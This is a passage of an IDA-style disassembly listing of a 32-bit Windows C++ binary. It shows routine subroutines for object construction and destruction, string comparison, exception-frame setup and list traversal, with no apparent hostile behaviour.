call sub_4017E4
lea ecx, [esp+24h+arg_60]
mov esi, eax
call sub_4017E4
loc_413EB2: ; CODE XREF: sub_413DA0+130j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_413ED6
cmp cl, bl
jz short loc_413ED2
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_413ED6
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_413EB2
loc_413ED2: ; CODE XREF: sub_413DA0+11Cj
xor eax, eax
jmp short loc_413EDB
; ---------------------------------------------------------------------------
loc_413ED6: ; CODE XREF: sub_413DA0+118j
; sub_413DA0+126j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_413EDB: ; CODE XREF: sub_413DA0+134j
cmp eax, ebx
jnz loc_413F8E
loc_413EE3: ; CODE XREF: sub_413DA0+FAj
push 58h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+24h+var_10], eax
cmp eax, ebx
mov byte ptr [esp+24h+var_4], 5
jz short loc_413F03
mov ecx, eax
call sub_401D07
jmp short loc_413F05
; ---------------------------------------------------------------------------
loc_413F03: ; CODE XREF: sub_413DA0+158j
xor eax, eax
loc_413F05: ; CODE XREF: sub_413DA0+161j
mov [esp+24h+var_14], eax
mov [eax], edi
mov ecx, [esp+24h+var_14]
lea eax, [esp+24h+arg_0]
push eax
add ecx, 4
mov byte ptr [esp+28h+var_4], 4
call sub_40200E
mov eax, [esp+24h+var_14]
lea edx, [esp+24h+arg_30]
push edx
lea ecx, [eax+19h]
call sub_40200E
lea ecx, [esp+24h+var_14]
push ecx
lea ecx, [ebp+6Ch]
call sub_401406
; ---------------------------------------------------------------------------
lea ecx, [esp+28h]
mov byte ptr [esp+28h+var_8], 3
call sub_401226
lea ecx, [esp+28h+arg_14]
mov byte ptr [esp+28h+var_8], 2
call sub_401226
lea ecx, [esp+28h+arg_2C]
mov byte ptr [esp+28h+var_8], 1
call sub_401226
lea ecx, [esp+28h+arg_44]
mov byte ptr [esp+28h+var_8], bl
call sub_401226
lea ecx, [esp+28h+arg_5C]
mov [esp+28h+var_8], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_413FDB
; ---------------------------------------------------------------------------
loc_413F8E: ; CODE XREF: sub_413DA0+44j
; sub_413DA0+68j ...
lea ecx, [esp+24h+arg_0]
mov byte ptr [esp+24h+var_4], 3
call sub_401226
lea ecx, [esp+24h+arg_18]
mov byte ptr [esp+24h+var_4], 2
call sub_401226
lea ecx, [esp+24h+arg_30]
mov byte ptr [esp+24h+var_4], 1
call sub_401226
lea ecx, [esp+24h+arg_48]
mov byte ptr [esp+24h+var_4], bl
call sub_401226
lea ecx, [esp+24h+arg_60]
mov [esp+24h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
loc_413FDB: ; CODE XREF: sub_413DA0+1ECj
mov ecx, [esp+24h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 14h
retn 78h
sub_413DA0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414090 proc near ; CODE XREF: sub_401D07j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414090
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+4]
call sub_401424
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_414090 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414120: ; CODE XREF: ___:00401DC0j
push 0FFFFFFFFh
push offset loc_439C10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+24h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401861
mov edx, [esp+3Ch]
sub esp, 18h
mov ecx, esp
mov [esp+58h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401861
mov eax, [esp+50h]
sub esp, 18h
mov ecx, esp
mov [esp+6Ch], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_401861
mov edx, [esp+64h]
sub esp, 18h
mov ecx, esp
mov [esp+80h], esp
push edx
mov byte ptr [esp+74h], 2
call sub_401861
mov eax, [esp+78h]
sub esp, 18h
mov ecx, esp
mov [esp+94h], esp
push eax
mov byte ptr [esp+8Ch], 3
call sub_401861
mov ecx, esi
mov dword ptr [esp+88h], 0FFFFFFFFh
call sub_40189D
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 14h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414210 proc near ; CODE XREF: sub_401537j
add ecx, 6Ch
jmp sub_401C62
sub_414210 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414230 proc near ; CODE XREF: sub_40137Fj
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414230
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push 60h
mov [esp+1Ch+var_4], 3
call sub_4367FA
sub_414230 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+8], eax
test eax, eax
mov byte ptr [esp+14h], 4
jz short loc_414273
mov ecx, eax
call sub_401BE0
; ---------------------------------------------------------------------------
jmp short loc_414275
; ---------------------------------------------------------------------------
loc_414273: ; CODE XREF: ___:00414268j
xor eax, eax
loc_414275: ; CODE XREF: ___:00414271j
lea ecx, [esp+1Ch]
mov byte ptr [esp+14h], 3
push ecx
mov ecx, eax
mov [esp+8], eax
call sub_40200E
mov eax, [esp+4]
lea edx, [esp+34h]
push edx
lea ecx, [eax+15h]
call sub_40200E
mov edx, [esp+4]
lea ecx, [esp+4Ch]
push ecx
lea ecx, [edx+2Ah]
call sub_40200E
mov ecx, [esp+4]
lea eax, [esp+64h]
push eax
add ecx, 3Fh
call sub_40200E
lea edx, [esp+4]
lea ecx, [esi+60h]
push edx
call sub_401EF1
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov byte ptr [esp+14h], 2
call sub_401226
lea ecx, [esp+34h]
mov byte ptr [esp+14h], 1
call sub_401226
lea ecx, [esp+4Ch]
mov byte ptr [esp+14h], 0
call sub_401226
lea ecx, [esp+64h]
mov dword ptr [esp+14h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0Ch]
pop esi
mov large fs:0, ecx
add esp, 14h
retn 60h
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414360 proc near ; CODE XREF: sub_401BE0j
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414360
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_401424
lea ecx, [esi+15h]
mov [esp+18h+var_4], 0
call sub_401424
lea ecx, [esi+2Ah]
mov byte ptr [esp+18h+var_4], 1
call sub_401424
lea ecx, [esi+3Fh]
mov byte ptr [esp+18h+var_4], 2
call sub_401424
lea eax, [esp+18h+var_11]
lea ecx, [esi+54h]
push eax
mov byte ptr [esp+1Ch+var_4], 3
call sub_40132A
sub_414360 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414400: ; CODE XREF: ___:004010FAj
push 0FFFFFFFFh
push offset loc_439CD8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+20h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401861
mov edx, [esp+38h]
sub esp, 18h
mov ecx, esp
mov [esp+54h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401861
mov eax, [esp+4Ch]
sub esp, 18h
mov ecx, esp
mov [esp+68h], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_401861
mov edx, [esp+60h]
sub esp, 18h
mov ecx, esp
mov [esp+7Ch], esp
push edx
mov byte ptr [esp+74h], 2
call sub_401861
mov ecx, esi
mov dword ptr [esp+70h], 0FFFFFFFFh
call sub_40137F
; ---------------------------------------------------------------------------
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 10h
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4144D0 proc near ; CODE XREF: sub_401DACj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4144D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
lea ecx, [esp+18h+var_14]
mov [esp+18h+var_4], 0
mov [esp+18h+var_10], 0
call sub_401E1F
mov eax, [esp+18h+arg_18]
lea ecx, [esp+18h+arg_18]
push ecx
lea esi, [eax+54h]
mov ecx, esi
call sub_4012E9
mov edx, [eax]
lea eax, [esp+18h+arg_18]
push eax
mov ecx, esi
mov [esp+1Ch+var_14], edx
call sub_401D89
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401D5C
test al, al
jz short loc_414580
loc_414535: ; CODE XREF: sub_4144D0+AEj
lea ecx, [esp+18h+arg_0]
push ecx
lea ecx, [esp+1Ch+var_14]
call sub_401FA5
mov ecx, [eax]
call sub_401B72
test eax, eax
jnz short loc_41455D
lea ecx, [esp+18h+var_14]
call sub_401FA5
mov edx, [eax]
mov [esp+18h+var_10], edx
loc_41455D: ; CODE XREF: sub_4144D0+7Cj
lea ecx, [esp+18h+var_14]
call sub_4020A4
lea eax, [esp+18h+arg_18]
mov ecx, esi
push eax
call sub_401D89
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401D5C
test al, al
jnz short loc_414535
loc_414580: ; CODE XREF: sub_4144D0+63j
mov eax, [esp+18h+var_10]
test eax, eax
jz short loc_4145C8
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_401258
mov ecx, [esp+18h+var_10]
test ecx, ecx
jz short loc_4145A3
push 1
call sub_4019DD
loc_4145A3: ; CODE XREF: sub_4144D0+CAj
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 1Ch
; ---------------------------------------------------------------------------
loc_4145C8: ; CODE XREF: sub_4144D0+B6j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 14h
retn 1Ch
sub_4144D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414640 proc near ; CODE XREF: sub_4019DDj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_402220
test [esp+4+arg_0], 1
jz short loc_414658
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_414658: ; CODE XREF: sub_414640+Dj
mov eax, esi
pop esi
retn 4
sub_414640 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_414670 proc near ; CODE XREF: sub_402220j
jmp sub_401226
sub_414670 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414690: ; CODE XREF: ___:00401276j
push 0FFFFFFFFh
push offset loc_439D20
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
push edi
mov ebp, ecx
xor ebx, ebx
push offset asc_443C84 ; ":"
lea eax, [esp+1Ch]
push ebx
push eax
lea ecx, [esp+4Ch]
mov [esp+44h], ebx
mov byte ptr [esp+1Fh], 1
xor esi, esi
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012EE
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_401226
cmp edi, ebx
jz short loc_414759
loc_4146F3: ; CODE XREF: ___:00414757j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+44h]
sub esp, 18h
mov edx, esp
mov [esp+30h], esp
push offset asc_443C84 ; ":"
push esi
push edx
call sub_4016AE
mov ecx, ebp
call sub_401DAC
cmp al, bl
jnz short loc_414720
mov [esp+13h], bl
loc_414720: ; CODE XREF: ___:0041471Aj
inc esi
push offset asc_443C84 ; ":"
lea eax, [esp+1Ch]
push esi
push eax
lea ecx, [esp+4Ch]
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012EE
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_401226
cmp edi, ebx
jnz short loc_4146F3
loc_414759: ; CODE XREF: ___:004146F1j
lea ecx, [esp+40h]
mov dword ptr [esp+38h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+30h]
mov al, [esp+13h]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 2Ch
retn 1Ch
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4147D0 proc near ; CODE XREF: sub_40210Dj
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4147D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+1Ch+arg_0]
mov [esp+1Ch+var_4], 1
call sub_4017E4
test eax, eax
jz loc_414904
lea ecx, [esp+1Ch+var_18]
mov [esp+1Ch+var_14], 0
call sub_402252
add esi, 6Ch
lea eax, [esp+1Ch+var_10]
push eax
mov ecx, esi
call sub_4018F2
mov ecx, [eax]
lea edx, [esp+1Ch+var_10]
mov [esp+1Ch+var_18], ecx
push edx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+20h+var_18]
call sub_401339
test al, al
jz short loc_4148AE
loc_414844: ; CODE XREF: sub_4147D0+DCj
lea eax, [esp+1Ch+arg_0]
lea ecx, [esp+1Ch+var_18]
push eax
call sub_40135C
mov ecx, [eax]
add ecx, 4
call sub_401B72
test eax, eax
jz short loc_41487C
lea ecx, [esp+1Ch+arg_18]
push ecx
lea ecx, [esp+20h+var_18]
call sub_40135C
mov ecx, [eax]
add ecx, 19h
call sub_401B72
test eax, eax
jnz short loc_41488B
loc_41487C: ; CODE XREF: sub_4147D0+8Ej
lea ecx, [esp+1Ch+var_18]
call sub_40135C
mov edx, [eax]
mov [esp+1Ch+var_14], edx
loc_41488B: ; CODE XREF: sub_4147D0+AAj
lea ecx, [esp+1Ch+var_18]
call sub_40118B
lea eax, [esp+1Ch+var_10]
mov ecx, esi
push eax
call sub_40114A
push eax
lea ecx, [esp+20h+var_18]
call sub_401339
test al, al
jnz short loc_414844
loc_4148AE: ; CODE XREF: sub_4147D0+72j
mov eax, [esp+1Ch+var_14]
test eax, eax
jz short loc_414904
lea ecx, [esp+1Ch+var_14]
push ecx
mov ecx, esi
call sub_402130
mov ecx, [esp+1Ch+var_14]
test ecx, ecx
jz short loc_4148D1
push 1
call sub_4016FE
loc_4148D1: ; CODE XREF: sub_4147D0+F8j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_401226
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+18h+var_C]
mov large fs:0, ecx
add esp, 18h
retn 30h
; ---------------------------------------------------------------------------
loc_414904: ; CODE XREF: sub_4147D0+2Ej
; sub_4147D0+E4j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_401226
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 30h
sub_4147D0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4149A0 proc near ; CODE XREF: sub_4016FEj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A5A
test [esp+4+arg_0], 1
jz short loc_4149B8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_4149B8: ; CODE XREF: sub_4149A0+Dj
mov eax, esi
pop esi
retn 4
sub_4149A0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4149D0 proc near ; CODE XREF: sub_401A5Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4149D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+43h]
mov [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4149D0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414A60: ; CODE XREF: ___:004013B1j
push 0FFFFFFFFh
push offset loc_439D98
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401861
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401861
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_40210D
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414AF0: ; CODE XREF: ___:00401B31j
push 0FFFFFFFFh
push offset loc_439DB8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0
call sub_4017E4
test eax, eax
jz loc_414BF7
lea ecx, [esp+4]
mov dword ptr [esp+8], 0
call sub_401037
add esi, 60h
lea eax, [esp+0Ch]
push eax
mov ecx, esi
call sub_401983
mov ecx, [eax]
lea edx, [esp+0Ch]
mov [esp+4], ecx
push edx
mov ecx, esi
call sub_402234
push eax
lea ecx, [esp+8]
call sub_401AD7
test al, al
jz short loc_414BAF
loc_414B64: ; CODE XREF: ___:00414BADj
lea eax, [esp+20h]
lea ecx, [esp+4]
push eax
call sub_4011D1
mov ecx, [eax]
call sub_401B72
test eax, eax
jnz short loc_414B8C
lea ecx, [esp+4]
call sub_4011D1
mov ecx, [eax]
mov [esp+8], ecx
loc_414B8C: ; CODE XREF: ___:00414B7Bj
lea ecx, [esp+4]
call sub_4018B6
lea edx, [esp+0Ch]
mov ecx, esi
push edx
call sub_402234
push eax
lea ecx, [esp+8]
call sub_401AD7
test al, al
jnz short loc_414B64
loc_414BAF: ; CODE XREF: ___:00414B62j
mov eax, [esp+8]
test eax, eax
jz short loc_414BF7
lea eax, [esp+8]
mov ecx, esi
push eax
call sub_401154
mov ecx, [esp+8]
test ecx, ecx
jz short loc_414BD2
push 1
call sub_4011C7
; ---------------------------------------------------------------------------
loc_414BD2: ; CODE XREF: ___:00414BC9j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+0Ch]
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_414BF7: ; CODE XREF: ___:00414B1Ej
; ___:00414BB5j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+10h]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414C70 proc near ; CODE XREF: sub_4011C7j
push esi
mov esi, ecx
call sub_401B45
sub_414C70 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_414C88
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_414C88: ; CODE XREF: ___:00414C7Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414CA0 proc near ; CODE XREF: sub_401B45j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414CA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+54h]
mov [esp+14h+var_4], 3
call sub_401578
sub_414CA0 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+3Fh]
mov byte ptr [esp+10h], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+10h], 0
call sub_401226
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414D40 proc near ; CODE XREF: sub_4014BFj
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_414D40
push eax
mov large fs:0, esp
sub esp, 40h
push ebx
push esi
mov esi, [esp+54h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+32h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_414E3B
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push eax
call sub_4014C9
sub esp, 18h
mov [esp+88h+var_4], 0
mov ecx, esp
mov [esp+88h+var_4C], esp
push offset byte_446F60
call sub_401861
or ebx, 0FFFFFFFFh
mov ecx, offset word_448C8E
mov [esp+88h+var_4], ebx
call sub_40210D
test al, al
jz loc_414F70
push 0
push 5
push 19h
push 2
push 4
push 0Fh
push 0Fh
lea ecx, [esp+74h+var_3C]
push 21h
push ecx
call sub_4019B5
add esp, 24h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 1
call sub_4014D3
push eax
mov ecx, edi
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+58h+var_3C]
mov [esp+58h+var_4], ebx
call sub_401226
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_414E3B: ; CODE XREF: sub_414D40+36j
lea ecx, [edi+4]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_414F70
sub esp, 18h
lea edx, [esi+54h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push edx
call sub_4014C9
sub esp, 18h
lea eax, [esi+3Fh]
mov ecx, esp
mov [esp+88h+var_4C], esp
push eax
mov [esp+8Ch+var_4], 2
call sub_4014C9
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0A0h+var_48], esp
push edx
mov byte ptr [esp+0A4h+var_4], 3
call sub_4014C9
sub esp, 18h
mov ecx, esi
mov eax, esp
mov [esp+0B8h+var_44], esp
push 1
push offset asc_443600 ; " "
push 2
push eax
mov byte ptr [esp+0C8h+var_4], 4
call sub_4011EA
sub esp, 18h
mov byte ptr [esp+0D0h+var_4], 5
mov ecx, esp
mov [esp+0D0h+var_40], esp
push 1
push offset asc_443600 ; " "
push 1
push ecx
mov ecx, esi
call sub_4011EA
or ebx, 0FFFFFFFFh
mov ecx, offset word_448C8E
mov [esp+0D0h+var_4], ebx
call sub_40189D
test al, al
jz short loc_414F70
push 0
push 4
push 5
push 14h
push 10h
push 5
push 3
push 3
lea edx, [esp+78h+var_24]
push 1Bh
push edx
call sub_4019B5
add esp, 28h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 6
call sub_4014D3
push eax
mov ecx, edi
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+58h+var_24]
mov [esp+58h+var_4], ebx
call sub_401226
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_414F70: ; CODE XREF: sub_414D40+82j
; sub_414D40+10Dj ...
mov ecx, [esp+58h+var_C]
pop edi
pop esi
xor al, al
mov large fs:0, ecx
pop ebx
add esp, 4Ch
retn 4
sub_414D40 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415030 proc near ; CODE XREF: sub_40132Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401EBA
sub_415030 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415070 proc near ; CODE XREF: sub_40171Cj
arg_0 = dword ptr 4
sub esp, 8
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
push 0
push 0
mov al, [edi]
mov [esi], al
call sub_401EBA
sub_415070 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esi+4], eax
push ecx
mov ecx, edi
mov dword ptr [esi+8], 0
call sub_4016CC
mov edx, [eax]
lea eax, [esp+8]
push edx
push eax
mov ecx, edi
call sub_40113B
mov ecx, [eax]
lea edx, [esp+10h]
push ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
mov ecx, esi
push eax
call sub_40172B
mov eax, esi
pop edi
pop esi
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4150F0 proc near ; CODE XREF: sub_401578j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401D89
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401465
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401CD5
sub_4150F0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415160 proc near ; CODE XREF: sub_4012E9j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40208B
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401DA7
mov eax, esi
pop esi
retn 4
sub_415160 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4151A0 proc near ; CODE XREF: sub_401D89j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401DA7
mov eax, esi
pop esi
retn 4
sub_4151A0 endp
